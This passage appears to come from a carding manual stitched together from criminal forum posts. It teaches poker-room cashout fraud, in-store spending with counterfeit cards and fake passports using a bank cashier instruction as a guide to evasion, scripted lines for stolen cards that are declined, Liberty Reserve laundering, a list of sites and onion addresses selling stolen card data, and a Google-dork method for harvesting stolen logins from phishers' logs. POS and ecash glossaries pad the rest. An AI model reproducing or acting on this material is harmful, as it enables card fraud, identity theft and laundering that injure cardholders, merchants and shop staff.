accounts. Sometimes you’ll be lucky and your clean accounts will present you for about $1000 a week.
|
||
For example in Titan was verified account with documents and some cashouts which lived without locks
|
||
for about a month and there were some “dirty” deposits through MB merchant (read the first article if you
|
||
don’t understand what I’m talking about), play “for vision” and made withdraw on WebMoney. I’ve got a
|
||
|
||
lot of points and I decided to order a bonus – but security servise got up and locked the account explained
|
||
that I had no permission to take this bonus.
|
||
Similar situation was in PS and FTP where deposits were made with good CC on promoted accounts.
|
||
Then withdraws were ordered.
|
||
Now poker is dead for people which just want to press a couple of buttons and don’t invent any new
|
||
ways. There are always enough bugs in different rooms – just you must be able to find and use it. Soon
|
||
I’ll write the third part of poker manual – cashing out.
|
||
POS-Cashier Job Explained
|
||
So, You have decided to work with real plastic bought from Zeusk. You got the cards, that virtually do
|
||
not differ from the real ones, document, confirming the identity of a citizen of the country where the card
|
||
was issued; the magnetic stripe contains the name, same as in Your documents.
|
||
And, of course, You are dressed in accordance with the sum which you wish to spend (like, on a diamond
|
||
for Your another mistress, so when looking at this trifle, she recalled You). But there is a little problem, -
|
||
You know that in fact, the card is Not Yours. And for You to feel more confident in this situation, You
|
||
should know how the cashier works, and what is prescribed for him by an official instruction.
|
||
If you want to know this, - read this article: All about the Work of a POS-cashier. And You’ll be in a
|
||
more favorable position hereafter: You will know any action of the cashier, but he will nothing about
|
||
You.
|
||
BANK INSTRUCTION FOR A POS-CASHIER (OPERATOR)
|
||
Bank card (further, - card) is a property of a bank issuer and can be used for the purchase of goods, or
|
||
withdrawal of cash, only by a legal cardholder. His name is indicated on the front (exterior) side of the
|
||
card, and example of his signature is located on the signature panel; also, the data presented by a
|
||
cardholder must correspond with the data on card.
|
||
The card cannot be transferred by its legal holder to the third person for use, in any circumstances.
|
||
Illegal operation with the card means: its usage or attempt to use the card on someone’s name, use of
|
||
counterfeit card, or the counterfeit of the card itself, use of fraudulently received blanks of Slips and Slips
|
||
of other enterprise, plotting additional symbols/records to the imprint of the card; counterfeit of the Slip,
|
||
the use of white plastic with incused or coded data from the original card on the magnetic stripe (so-
|
||
called, white plastic), writing uncollected code from the Authorization Center into the Slip, and also,
|
||
illegal use of the card by its lawful holder.
|
||
When receiving cards, follow the current instruction, which will ensure your financial safety.
|
||
1. Check the period of validity
|
||
2. Make sure that the card complies with International standards, and its use is not limited by a country or
|
||
a region, shown on the card (for instance: ‘Valid only in..’)
|
||
3. Make sure that the card is undamaged
|
||
4. Make sure that there are no signs of counterfeit of the card
|
||
5. Check the presence of signature on the panel for a signature, without a signature, the card is not
|
||
serviceable.
|
||
6. Make sure that the signature on the slip/bill conforms to the example on the card.
|
||
|
||
7. Make sure that the data on the slip/bill conforms to the data of presented card: their discrepancy is
|
||
possible in a case of counterfeit of a magnetic stripe (Buy my dumps! US Only; VISA/MC etc).
|
||
I. The Major features of counterfeit cards VISA and EUROCARD/MASTERCARD, most commonly
|
||
encountered at the moment, and the methods of their revelation.
|
||
1. Hologram (Volumetric Image). The hologram on the fake cards can play with all colors of the
|
||
spectrum, but the ‘volume’ is absent. The background of a real hologram is clear, images are easily
|
||
recognizable and detailed. The background of a fake hologram is dull, and the image is not sharp. Fake
|
||
hologram often exfoliates (‘bubbles’), if pressed on the front surface, and bended the card in the hologram
|
||
area. The foil with image of the forged hologram is easily lifted with a nail. A real hologram does not
|
||
bubble when bending the card, doesn’t have thickenings or bulges, and cant be damaged when attempting
|
||
to pull it off with a nail.
|
||
2. Signature panel. A stripe of a white paper is glued instead of a panel for signature. The edges of a panel
|
||
are easily lifted. The background with 3-color inscription ‘MasterCard’ (EURO cards), or blue/3-color
|
||
VISA, is absent in some cases.
|
||
3. Lamination. The front (facial) side of the card, and sometimes, the backside, can be covered with a
|
||
transparent tape, - laminate. Laminating tape flakes away on the edges; rarely, the hologram and
|
||
embossing area do not fit tightly to the plastic.
|
||
4. BIN of a bank-issuer. The first 4 digits from the number of a card (account), duplicated with the paint
|
||
(usually black), can rub away from the card. On the real card, it is impossible to erase the bin.
|
||
5. Logotype. VISA logo colors differ from the original, and can be wiped off the card.
|
||
6. Microprint. Microprint in the area around the logotype is virtually unreadable, and can be easily wiped
|
||
off the card.
|
||
7. Stylized symbols. Symbols ‘V’ and ‘MC’ are made roughly and differ from the original.
|
||
8. UV-symbols. In UV-light, the image of a flying dove or letters ‘MC’, in EURO case, can be absent.
|
||
9. Magnetic stripe. The data of the magnetic stripe does not conform to embossing.
|
||
10. Side area of the card is dark, instead of being white.
|
||
II. Conducting authorization
|
||
Because of the safety, the POS-cashier is required to carry out electronic part of authorization via a POS-
|
||
terminal, in the first place. In a case of refusal of fulfillment of the purchase, a report ‘REFUSAL,
|
||
N’(where N is a code of refusal; see the codes below) appears on the screen of a POS, no voice
|
||
authorization, or card service should be done. A cashier should recommend a client to contact the bank-
|
||
issuer.
|
||
Voice authorization can be carried out only in the case of no- or broken connection with a Processing
|
||
Center (the screen of POS should show ‘ERROR CONNECTION’ or ‘ERROR SETTING’).
|
||
III. Specifics of Behavior of Card Presenters that Should Cause the Caution of a Cashier
|
||
1. Slow, uncertain writing on a slip/bill of a POS-terminal
|
||
2. Unnatural, nervous behavior, excessive talkativeness, attempts to speed-up the registration of a
|
||
transaction.
|
||
|
||
3. Disparity of appearance and name of the holder, shown on card; for instance, in case of presentation of
|
||
the card on a name of a citizen of a country of Latin America or South Africa, by a person with European
|
||
appearance.
|
||
4. The card is taken from the pocket, not the wallet.
|
||
5. Aspiration to buy anything, without selecting, of any size etc.
|
||
6. Desire to deliver independently all large-size products (PC, Fridge, etc), despite the offered delivery
|
||
service.
|
||
IV. Actions of a cashier, in case of rising doubts about originality of a card, or that the card is presented
|
||
by its real holder.
|
||
1. Define the identity of card-presenter, asking to show identity-verification documents; identify the photo
|
||
in a document and make sure that there are no signs of photo-exchange in a document (re-glued photo).
|
||
2. Write down the data from the document on a bill, or make a copy of a document.
|
||
In case of doubts about the legality of usage of a presented card, and at the same time, absence of
|
||
confidence in refusal of service, it should be offered to pay with another card.
|
||
V. Actions of a cashier, in case of revelation of counterfeit card, or illegal holder.
|
||
After the ascertainment of the fact of using the card on other’s name or forged card, or after the receipt of
|
||
authorization command ‘Pick Up’, it is required:
|
||
1. To register the slip/bill
|
||
2. To give a presenter to sign it
|
||
3. Ask top show the passport or other identity-proofing document and write its data on a slip.
|
||
4. If necessary, the special signal during the authorization request can be used - ‘CODE 10’;.
|
||
Authorization center operator will inform and call a police to the enterprise.
|
||
Take measures to detention of a fraudster with the help of security guards of your enterprise.
|
||
Call the police using 911.
|
||
5. Register the arrest protocol, and if a policeman is up to take the slip and the card as evidence, - register
|
||
an official protocol about the seizure of these documents.
|
||
6. Write down the data about the person, arrived at the detention, his position and work phone number.
|
||
7. Inform the policeman about an attempt of illegal use of a card, information will be transferred to CC
|
||
Fraud Department.
|
||
8. Inform the bank-issuer security service about the accident.
|
||
9. Compose an accompanying letter, which should contain information about who seized the card, card
|
||
number, duration, and a name of a holder.
|
||
10. During 3 working days, send a seized card to the bank with accompanying letter.
|
||
VI. Foundations for the seizure of a card from a cardholder
|
||
1. Presence of obvious features of counterfeit of a card. (see: features of fake cards)
|
||
2. Forged magnetic stripe (discrepancy between the data from the magnetic stripe with the data, embossed
|
||
on a card).
|
||
3. Presentation of a card on other’s name (different from the name of presenter), disparity of signature on
|
||
a card with one on the identity-verification documents.
|
||
4. Receipt of a ‘PICK UP’ directive from AC.
|
||
5. The card has serious damage (broken, cut, pressed with an iron, embossing is unreadable)
|
||
VII. The Documents that Can Be Accepted By POS-Cashiers As Identity-Attesting Documents
|
||
Identity of a citizen of a country, is verified by a passport of a citizen. The forged cards are usually
|
||
supplied with fake foreign passports.
|
||
Identity of a foreigner can be defined by his national passport, accreditation card of a diplomat, journalist,
|
||
|
||
and businessman.
|
||
In all cases when you ask for the document, write down the data from a document to a bill.
|
||
VIII. Actions, Forbidden with the Slips/Bills
|
||
1. Double rolling
|
||
2. Making changes into 2 left copies of a slip
|
||
3. Usage of a ‘white plastic’ for making a slip
|
||
4. Transfer of slip blanks to other persons
|
||
IX. Specifics of card processing when working with POS-terminal
|
||
It is obligatory to compare the number, embossed on the card, with a number on a bill.
|
||
ATTENTION! Seized, or found card is required for the transfer to its legal owner - bank-issuer in a 3-day
|
||
term. Bank guarantees a REWARD for seizure of the card from illegal circulation.
|
||
X. POS CODES You wish to know.
|
||
[color=orange:240601002d]Code Name
|
||
00 Approved Successful transaction
|
||
01 Refer to Card Issuer Call to AC
|
||
02 Refer to Card Issuer, special condition Call to AC
|
||
03 Invalid Merchant Call to AC
|
||
04 Pick up card Seize a card, Call to AC
|
||
05 Do not honor Refusal
|
||
06 Error Call to AC
|
||
07 Pick up card, special condition Seize a card, Call to AC
|
||
08 Honor with identification Call to AC
|
||
09 Request in progress Call to AC
|
||
10 Approval for partial amount Call to AC
|
||
11 Approved VIP Call to AC
|
||
12 Invalid Transaction Call to AC
|
||
13 Invalid Amount Incorrect Amount
|
||
14 Invalid card number Incorrect card number
|
||
19 Re-enter transaction Recurring Transaction (copy)
|
||
21 No action taken Call to AC
|
||
30 Format Error Call to AC
|
||
41 Lost card Pick up Lost Card ; Seize a card, Call to AC
|
||
43 Stolen card Pick up Stolen Card; Seize a card, Call to AC
|
||
51 Not sufficient funds Insufficient Funds
|
||
52 No checking account Refusal
|
||
53 No savings account Refusal
|
||
54 Expired card Expired card. Refusal.
|
||
55 Pin incorrect Incorrect PIN code. Refusal
|
||
57 Transaction not allowed for cardholder Refusal
|
||
58 Transaction not allowed for merchant Current card type is not serviceable. Refusal
|
||
61 Exceeds withdrawal amount limit Spending Limit Exceeded Refusal
|
||
62 Restricted card Forbidden Card. Refusal
|
||
63 Security violation Call to AC
|
||
65 Activity count limit exceeded Refusal
|
||
75 Pin tries exceeded Wrong PIN counter overflow. Refusal.
|
||
76 Unable to locate previous Call to AC
|
||
77 Inconsistent with original Call to AC
|
||
78 No account Call to AC
|
||
|
||
80 Invalid transaction date Call to AC
|
||
81 Cryptographic PIN error Call to AC
|
||
84 Pre-authorization time to great Call to AC
|
||
86 Cannot verify PIN Call to AC
|
||
89 MAC error Incorrect MAC-code. Call to AC
|
||
91 Issuer unavailable Bank-issuer is not available
|
||
92 Invalid receiving institution id Call to AC
|
||
93 Transaction violates law Illegal Transaction
|
||
94 Duplicate transaction Recurring Transaction
|
||
96 System malfunction Call to AC[/color:240601002d]
|
||
POS Explained (words)
|
||
Account
|
||
A category used to group financial information and to create financial statements for a business. Accounts
|
||
are typically represented by an account number. A well-defined chart of accounts is essential for good
|
||
financial records.
|
||
Accounting interface
|
||
A method of transferring distributions and vouchered receivings from retail softwareto an accounting
|
||
software package.
|
||
Accounts payable
|
||
Amounts owed to others (a liability) for goods or services purchased on credit.
|
||
Accounts receivable
|
||
Amounts owed to a business (an asset), usually by customers who purchased goods or services on credit.
|
||
Adjustment
|
||
An increase or decrease to the quantity indicated in the retail software package. The adjustment ensures
|
||
that the records in the retail software match the actual physical quantity in inventory.
|
||
|
||
Additional markdown
|
||
An increase of a previous markdown to further lower the selling price.
|
||
Address Verification Service (AVS)
|
||
A service that reduces credit card fraud by verifying the cardholder's address information when the
|
||
physical card isn't available to swipe through an MSR device (e.g., as with telephone orders). AVS
|
||
processing doesn't affect whether the charge is approved. Instead, AVS indicates whether or not the
|
||
address provided by the customer matches the address on file with the credit card company so that the
|
||
merchant can decide whether or not to process the charge.
|
||
Aging
|
||
A process that determines the age (number of days old) of customer open items.
|
||
Allocated purchase order
|
||
A purchase order that includes goods intended for delivery to multiple locations. Items ordered with an
|
||
allocated purchase order can be shipped to a single location, and then transferred to their final locations,
|
||
or they may be shipped to each individual location from the vendor.
|
||
Alphanumeric
|
||
Consisting of letters, numbers, and/or special symbols (*, &, $, etc.) in any combination.
|
||
Alternate unit
|
||
Represents a secondary unit of measure for receiving or selling an item. For example, the stocking unit
|
||
for an item might be 'each,' but you might receive an item by the alternate unit 'case.'
|
||
Audit trail
|
||
A method of tracking transactions through the entire sequence of their history so that all financial
|
||
information can be traced. Certain reports should be printed or stored electronically in the retail software
|
||
as part of the business's permanent records.
|
||
Authorization
|
||
The act of ensuring the cardholder has adequate funds available against his or her line of credit. If
|
||
|
||
authorized, an authorization code will be generated and adequate funds are set aside. The cardholder's
|
||
available credit limit will be reduced by the authorized amount.
|
||
Authorization code (Approval code)
|
||
A code typically consisting of numbers which is given when a credit card transaction is authorized.
|
||
Available quantity
|
||
The quantity of an item that is currently available for sale. Generally, the available quantity is equal to the
|
||
on-hand quantity minus any quantities set aside for open orders.
|
||
Average cost
|
||
An accounting cost method achieved by calculating or recalculating a weighted average of the cost of all
|
||
inventory items currently in stock. This cost is recalculated each time items are added to the inventory,
|
||
and in certain situations, when items are removed
|
||
B2B (Business-to-Business)
|
||
Business model focused on sales to other businesses. Manufacturers, wholesalers, and suppliers are
|
||
typical B2B companies.
|
||
B2C (Business-to-Consumer)
|
||
Business model focused on sales to consumers. Retailers are typical B2C companies.
|
||
B2G (Business-to-Government)
|
||
Business model focused on sales to national, state, or local government agencies.
|
||
Backorder
|
||
A type of order normally created when there is insufficient quantity available for a sale or order.
|
||
Balance sheet inventory account
|
||
An account that tracks the value of on-hand inventory.
|
||
Barcode
|
||
|
||
A unique identifier for an inventory item or for a particular color/size combination for an item. A barcode
|
||
may be printed in machine readable format using one of a number of common symbologies, such as UPC-
|
||
A, Code 39, etc.
|
||
Batch processing
|
||
A processing model for entering several transactions in sequence, then finalizing (or posting) all of these
|
||
transactions at the same time. Batch processing allows multiple employees to enter and edit the same
|
||
types of transactions simultaneously in their retail software.
|
||
Bill of Lading (BOL)
|
||
A shipping document that serves as evidence that the carrier received shipment and as a contract between
|
||
carrier and shipper.
|
||
Bin
|
||
Represents a physical place to store inventory. Bins are subdivisions of a location and are used to locate
|
||
items. Generally, bins refer to physical rows/shelves or to actual bins.
|
||
Biometric
|
||
A measurable characteristic or unique trait, such as a fingerprint, used to recognize the identity of a
|
||
person. Biometric devices can be used with retail point of sale systems as a secure log in mechanism.
|
||
Black Friday
|
||
The day after Thanksgiving. While Black Friday is often thought of as the busiest retail shopping day of
|
||
the year, in fact the busiest retail shopping day of the year is usually the Saturday before Christmas.
|
||
The origin of the term Black Friday comes from the shift in profitability during the holiday season. Black
|
||
Friday marks the day when many retailers shift from being unprofitable, or "in the red," to being
|
||
profitable, or "in the black."
|
||
Buyer
|
||
An executive who is responsible for selecting, pricing, and purchasing merchandise. In many companies,
|
||
the term "buyer" designates a department manager, whose responsibilities include, but are broader than,
|
||
the purchasing function.
|
||
|
||
Responding to Declines when carding instore
|
||
Clever responses to declines
|
||
1. Nice
|
||
" That happened to me once before i may be over my limit for the day... well gimme that one back (your
|
||
right stick hand out to psychologically pressure them to give it back) and try this one" (get card back)
|
||
"well I guess my wife/husband/girlfriend/boyfriend/friends monkeys uncles cousin has it. Leave this here
|
||
for 5 minutes ill be right back.
|
||
2. Logical
|
||
"I had the same problem earlier and when i called they said it has something to do with the cards they sent
|
||
out when i got mine... there sending me another one but said it depended on what type of terminal the
|
||
retailer uses.... ill just wait till i get the new card and come back later (under breathe.. "god dammit
|
||
motherfucking piece of shit HELL") (smile and leave)
|
||
3. Annoyed
|
||
"you?ve got to be kidding me! After ALL the hassle ive been through with those damned credit card
|
||
people and NOW this AGAIN!!! Just gimme the damn card back im gonna cancel the damn thing and
|
||
then ill be back dammit (sound angry and use damn alot)"
|
||
4. Paranoid and bipolar
|
||
"OH NO!!! SOMEONE HAS BEEN USING MY CARD!!! OH MY GOD WHAT AM I GONNA DO!!!
|
||
GIMME THAT BACK ITS PROBABLY ONE OF YOUR EMPLOYEES ANYWAY!!! OH NO OH NO
|
||
OH NO I SAW A SHOW ON CNN ABOUT THIS KIND OF THING MY CREDIT IS GONNA BE
|
||
RUINED!!!
|
||
5. IRATE
|
||
"you son of a BITCH... how DARE you say my card has to be VERIFIED i KNOW there?s enough
|
||
FUCKING credit on the GOD DAMN CARD IM A DOCTOR YOU IMPOTENT PIECE OF DOG
|
||
SHIT... Ill have your job for this you puny miniscule pre pubescent FUCK! GIMME THAT GOD
|
||
DAMNED CARD BEFORE I SHOVE IT UP YOUR ASS!!!! Its ALWAYS SOMETHING...
|
||
ALWAYS ... if its not the Porsche throwing a rod its the Mercedes leaking oil... if its not the WIFE
|
||
FUCKING THE POOL BOY ITS THE WIFE FUCKING MY GOD DAMNED WORTHLESS
|
||
BROTHER!!!! FUCK IT ... JUST GIMME THAT CARD BACK AND EAT A DICK...SHIT!!!!!!!!
|
||
6. Honest
|
||
"well that would probably be the credit card company telling you the card is stolen bro... Im surprised its
|
||
lasted this long.. haha call them and see what they say.. tell them i left or some shit... yeah the person that
|
||
owns this card is up shit creek without a raft to float on if you know what i mean... haha well i guess ill be
|
||
back when i get another one..oh.. no i dont want it back dog just keep it leave it for some dumbass to find
|
||
and try and use it... boy wont he be surprised"
|
||
|
||
Simple tut for members about liberty reserve
|
||
Ok here it is a simple tutorial for members (mainly new members)
|
||
that dont know how to use Liberty reserve
|
||
i know some of you will say this is simple but
|
||
sometimes thing need to spelled out for our newer members
|
||
Question 1
|
||
What is Liberty Reserve ?.
|
||
Answer .
|
||
Liberty Reserve is an account-based payment system where you can store value in U.S. Dollars, Euro or
|
||
Gold Grams and transfer payments to others and receive payments from others. It is safe, reliable and
|
||
confidential. Payments are irrevocable (meaning they cannot be reversed). Liberty Reserve is instant,
|
||
real-time currency for international commerce. In just minutes, you can send and receive payments from
|
||
anyone, anywhere on the globe!
|
||
Question 2.
|
||
how do i register with Liberty Reserve ?.
|
||
Answer.
|
||
You can Register and account here http://libertyreserve.com
|
||
Account registration
|
||
Creating an account is easy at Liberty Reserve. Simply enter your details, such as your name, account
|
||
title, and address, etc., and you will have a full-functioning, free Liberty Reserve account in minutes.
|
||
Remember to write down all the information for future reference such as your Login PIN, Master Key,
|
||
password, account number, etc.
|
||
Logging in
|
||
Once you create a Liberty Reserve account, you may access your account by logging in with your account
|
||
number, password, and login PIN in order to access the value in your account and make payments, check
|
||
history, use the internal messaging system, etc.
|
||
Profile settings
|
||
Once you are logged into your account at Liberty Reserve, you can click on "profile" and change your
|
||
account name, contact information, etc. On 'Settings' section you can change password, Login PIN,
|
||
Master Key, CWM and other features, such as email notifications.
|
||
Transfer
|
||
This feature allows you to send funds (make payments) to any other Liberty Reserve account instantly.
|
||
Withdraw
|
||
You can withdraw (redeem) value from your Liberty Reserve account by using any number of
|
||
independent exchange providers Usually, exchange providers will have an account number starting with
|
||
the letter, "x".
|
||
|
||
Exchange providers are not affiliated with Liberty Reserve and your dealings with them are at your own
|
||
risk.
|
||
Deposit
|
||
You can deposit funds or value to your Liberty Reserve account by using any number of independent
|
||
exchange providers
|
||
Exchange providers are not affiliated with Liberty Reserve and your dealings with them are at your own
|
||
risk.
|
||
Internal messaging
|
||
Once you are logged into your Liberty Reserve account, you can send private messages to anyone else
|
||
with a Liberty Reserve account. All you need to know is their account number. You can also check your
|
||
message inbox to see if you received any messages, and you can save messages. This is a private, internal
|
||
messaging system developed exclusively for Liberty Reserve account holders
|
||
Question 3.
|
||
Were can i Load my liberty Reserve account
|
||
Answer.
|
||
The simplist and fastest way to load you liberty reserve account with funds is to use UKASH
|
||
Which can be bought in most shops and convenience stores in europe america and bassically all over the
|
||
world
|
||
check this link to find out were is the nearest place to you that sels ukash
|
||
http://www.ukash.com/uk/en/where-to-get.aspx#
|
||
Once you have found a place to buy ukash you will need to exchange it to Liberty reserve
|
||
there is many exchangers online who can do this for you you
|
||
(example) http://ukashtoliberty.com
|
||
go to whatever site you choose to use and fill in the details
|
||
and they will convert your ukash to liberty resrev and deposit directly into your liberty reserve account
|
||
Question 4.
|
||
now i have liberty reserve how do i spend it
|
||
Answer.
|
||
You will need to know the account number of the person you are sending it to (example) U12345XX
|
||
Go to the transfer section of your liberty reserve account and fill out the details required
|
||
the amount and the Liberty account number you want to send it to
|
||
and press send
|
||
you will be redirected to a page confirming you payment has been sent
|
||
giving you a batch number connected only to that specifc payment
|
||
i hope this simple tutorial explains how to use Liberty reserve
|
||
if you are having any problems doing this post your questions here and me or someone else
|
||
will answer them for you
|
||
***NEVER SEND ANYONE WESTERN UNION UNLESS THEY ARE A REGISTERED E-
|
||
CURRENCY CONVERTOR******
|
||
AND DONT ALLOW ANYONE HERE FROM THIS OR ANY FORUM TO MAKE A CONVERSION
|
||
FOR YOU
|
||
IF YOU CANT DO THIS BY YOURSELF AFTER READING THIS TUTORIAL MAYBE YOU ARE
|
||
NOT MEANT TO BE DOING THESE KIND OF THING IS NOT FOR YOU
|
||
|
||
Sites to get you Credit Card Details from.
|
||
• https://drk.bz
|
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• http://carderbase.su/
|
||
• http://anonnews.org
|
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• http://cardingplanet.biz/
|
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• http://freecc.mboards.com/1940634-free-cc-fresh-dumps-track-1-2/
|
||
• http://qhkt6cqo2dfs2llt.onion
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• http://elitezone.forumotion.bz
|
||
• http://karder.4umer.com
|
||
• http://mxdcyv6gjs3tvt5u.onion
|
||
Stealing from phishers
|
||
I was amazed, it is so easy.
|
||
Here is how you do it:
|
||
Contents:
|
||
Step 1 (Finding hosts)
|
||
Step 2 (Getting logs)
|
||
Step 3 (Other way to get logs)
|
||
Step 4 Check the quality
|
||
Step 5 Enjoy
|
||
Step 1
|
||
You need a list of hosters phishers use. Search for free hosts which allow php. In this tutorial I will be
|
||
using malware-site.www( site down) , which is used a lot by phishers.
|
||
Step 2
|
||
Getting logs.
|
||
|
||
Choose a site from the list made in step one. Go to google and search for:
|
||
Code:
|
||
site:malware-site.www filetype:txt
|
||
Now the results will show .txt files on that hoster. Go through the results and you will find phishers soon.
|
||
Open them and save them. Congratulations, you stole from a phisher!
|
||
Step 3
|
||
However most of the time the hoster will have shut down the phisher. There is a nice trick for this. Just
|
||
use googles cache. I love the cache <3! Then save, and you stole from the phisher!
|
||
Step 4
|
||
You need to check the quality. For this you can randomly choose accounts and try them. But a better
|
||
method are account checkers. You insert your list there and that program checks all of them for you. They
|
||
are great. Just search for them, Let them check, and save the accounts that work.
|
||
Step 5
|
||
Now have fun.
|
||
Also if you find a phisher you should try:
|
||
www.site.com/log.txt
|
||
www.site.com/log_.txt
|
||
www.site.com/_log.txt
|
||
www.site.com/defaultlog.txt
|
||
www.site.com/lol.txt
|
||
www.site.com/lolz.txt
|
||
etc You might get lucky!
|
||
Terminology of payment systems
|
||
Abandon Trial – (Purse) In some (trial) versions of the ecash Purse the Abandon Trial function is
|
||
provided. After confirming the instruction the Purse will Cancel any outstanding Payments, Deposit the
|
||
ecash held by the Purse, and instruct that the Account status be changed to ‘disabled’. Thereafter the
|
||
Account cannot be used.
|
||
Abort Transaction – (cf. Cancel Transaction) In some versions of the ecash Purse the Abort function is
|
||
provided to stop the exchange of messages, and send a message which requests a roll-back to the start of
|
||
the protocol. The software can then verify whether the transaction has been successfully aborted. This
|
||
|
||
function is not included in all software versions, and, given the time/sequence factors and the general
|
||
complexities of Internet protocols, it cannot always be successful.
|
||
Accepted – (The Transaction Status is indicated for each transaction in the Transaction Log). A
|
||
transaction is assigned 'Accepted' status after execution has been acknowledged or verified. The
|
||
'Accepted' (or 'OK') status is regarded as the default and shows no icon in the appropriate field (see
|
||
Transaction Status Icons).
|
||
Account (ecash Account) – A Purse-holder's (digital) Account with a Mint (sometimes known as a Safe).
|
||
For an ecash client to function, each Purse-holder must have one or more such Accounts at an operational
|
||
Mint run by an ecash Issuer. Each Account is in a specified currency. An ecash Account may be
|
||
maintained separately or as a feature of an existing conventional bank account or credit card, etc. Purse-
|
||
holders can open one or more ecash Accounts with one or more Issuers, and may therefore own several
|
||
Account IDs.
|
||
Account ID – The Account name on a digital Account. (Although this may include any combination of
|
||
alpha-numeric characters such as an email address.) The Account ID is not necessarily globally unique
|
||
(although it assumed to be so when concatenated with the Issuer ID) (see also email address, below).
|
||
Account Number – A unique number within the Mint which (in conjunction with the Mint Number or
|
||
Mint ID) serves as a globally unique identifier.
|
||
Account Status – Each Account is associated with one of the following states – Enabled, Disabled or
|
||
Unused.
|
||
Accounts Window – (Purse) The main ecash window includes an overview of Mint and Purse balances
|
||
and presents buttons which access basic functions such as Withdrawal, Deposit and Refresh Coins.
|
||
API – The Application Programmer's Interface provides tools for software developers who are
|
||
implementing ecash applications.
|
||
Authentication – A procedure to verify that the originator of a message is the same as the sender that is
|
||
stated. (cf. verification, integrity, uniqueness).
|
||
Authorisation string – A set of data fields that contains the authorisation to transfer money from an
|
||
Account.
|
||
Back-up – The ecash client tries to retain 100% consistency with the records of the issuing Mint;
|
||
therefore it is not advisable to back up the client data-files locally. Do not make copies of ecash data-files
|
||
except as part of one of the procedures documented in the manual. If a local crash occurs (causing loss of
|
||
data on your PC) you should use the Recovery procedure as documented (which bases the Recovery on
|
||
files kept by the Issuer's Mint).
|
||
Balance Limits – Variable factor which can be used by the Issuer to set the upper (and lower) limits of
|
||
cash which can be held in an ecash account. Bank Withdrawals which would result in an excessive
|
||
balance (high or low) will be rejected by the Mint with an explanatory message.
|
||
Bank – The Bank is the institution which underwrites the value of its own bank-notes. An ecash-issuing
|
||
bank is called an Issuer. An Issuer runs a computer to produce electronic coins. This computer and its
|
||
ecash software are referred to as the Mint.
|
||
Bank Deposit – (cf. Deposit) The transfer of funds from the ecash Mint Account to the Bank Account (as
|
||
distinct from a Deposit; which is a transfer from the Purse to the ecash Mint Account).
|
||
Bank Withdrawal – (Purse) (cf. Withdrawal) The transfer of funds from the (conventional) bank account
|
||
to the ecash Account at the Mint (as applicable to Issuers where these two accounts are separately
|
||
|
||
identified). In contrast, the term Withdrawal is used to indicate transfer of funds from an online (Mint)
|
||
account to the Purse (client).
|
||
Base Coin Value – The lowest value of coin in any particular Coinage. See Coinage (below).
|
||
Blinding Factor – (Purse) The essential element for anonymous Payment systems. The Blinding Factor is
|
||
calculated into the coin number by the user before it is sent to the bank for validation. It is subsequently
|
||
removed again before the coin is used in a Payment. Thanks to the blinding factor, the number which was
|
||
signed (by the Mint, during a withdrawal) cannot be associated with the number which was returned (to
|
||
the Mint, during a Deposit), although certain unique (mathematical) characteristics have been retained.
|
||
Cancel Payment – (Purse) If a Payment of digital coins has been Deposited by the payee at the Mint then
|
||
it is not possible to Cancel Payment. However by reporting the coins as invalid and proving the user's
|
||
identity as the legitimate owner of the coins, the system will accept cancellation of unredeemed coins.
|
||
Coins used in a specified Payment are invalidated by the cancellation procedure, and will be refused if
|
||
they are subsequently presented to the Mint. In order to Cancel coins the user must prove ownership by
|
||
revealing the coin number and thereby surrender a limited degree of anonymity.
|
||
cb$ (cyberbucks) – Trial currency with no real value (as used in trials of ecash).
|
||
CGI – CGI scripts are used to provide certain ecash server functions. Specifically they are used in
|
||
implementing the shop's charge script and providing other configuration options.
|
||
Change Password – (Purse) Providing that the user can enter the current (Mint or Purse) Password, this
|
||
procedure will allow them to change it. The same string must be entered twice in order to confirm the
|
||
change.
|
||
Charge Script – (Merchant) The shop is constructed so that it can take input about the items to be sold and
|
||
calculate a price. The CGI script refers the input information to a charge script. The output from the script
|
||
(i.e. the price) is then referred to the Payment Request mechanism which sends a message to the client
|
||
requesting Payment.
|
||
Coin – The ecash payment method is based on Coins – a Coin is the digital equivalent of a traditional
|
||
coin and similar in that it has a specified value, but carries no 'imprint' to identify the (current) owner.
|
||
Unlike traditional coinage, the Coins, once received by the Merchant's Purse, cannot be passed directly to
|
||
a third party, but have to be Deposited at the Mint first.
|
||
Coin Distribution – (Purse) The Purse tries to keep an assortment of coin denominations so that the
|
||
number of possible Payment amounts is optimized. Typically it will try to ensure that there are sufficient
|
||
coins to complete at least 8 transactions of the lower values. (See also Refresh Coins).
|
||
Coinage – A set of digital coins issued by the Mint and designated with the same Coinage Version
|
||
Number. Each Coinage issued by the Mint is based on a set of defined values including the Currency, the
|
||
expiry dates, the number of coins in the series and the Base Coin Value (the value of the first / lowest
|
||
value Coin in any Coinage), It is linked to a specified set of Coin Keys.
|
||
Coin(age) Expiry Date – Each Coinage Version expires according to a Phased Expiry Schedule (see
|
||
below) which specifies the dates on which all Coins made in a specified Coinage will cease to be
|
||
functional. After the expiry date the ecash client software waits for a connection to the Mint (i.e. the next
|
||
Check Mint, Deposit or Withdrawal transaction), and exchanges expired coins for freshly minted ecash.
|
||
At a later date (determined by the Issuer) it will become necessary to make a special request to the bank,
|
||
and the Issuer may require some time to check the validity of the expired coins before they can be
|
||
reissued.
|
||
Command Line – Non-graphic clients (used for ecash by Merchants and some UNIX users) are operated
|
||
using a series of key commands entered in text mode. This type of interface is also used in MS DOS to
|
||
|
||
configure system executables. The application presents a prompt and responds to the input command
|
||
directly.
|
||
Confidentiality – The property of a message such that it cannot be decoded or read by an unauthorized
|
||
third party.
|
||
Crash – see Recovery
|
||
Create / Terminate Account – In order to maintain a clear distinction, the terms Create (and Terminate)
|
||
are used to describe the procedure by which ecash Accounts are defined and established at the Mint.
|
||
Following a request from the user an Account is assigned or 'Created'. When the Set-up Protocol is
|
||
performed, the Account receives an opening transaction and becomes 'enabled'. If the Account is to be
|
||
removed from the system then it should first be 'disabled' (so that no new transactions are possible), then
|
||
closed (including the removal of any outstanding balance) and then 'Terminated' (i.e. removed from the
|
||
Mint's Account Database). Thereafter the Account will no longer exist.
|
||
Currency – All ecash money is denoted in a currency. The currency might be an existing 'real-world'
|
||
currency, such as the US dollar, or the Dutch guilder, but ecash is not restricted to existing currencies.
|
||
Alternatively, the currency might be a precious metal, stocks, bonds, futures, coconuts, e-miles, airmiles,
|
||
oil or any other trading item. Strictly speaking, the currency is also defined by the Issuer and the
|
||
currency-fraction (also known as the 'granularity'). Thus, dollar amounts are represented in cents (1/100th
|
||
of one dollar), and oil amounts are represented in (full) barrels. Each currency is defined by a unique
|
||
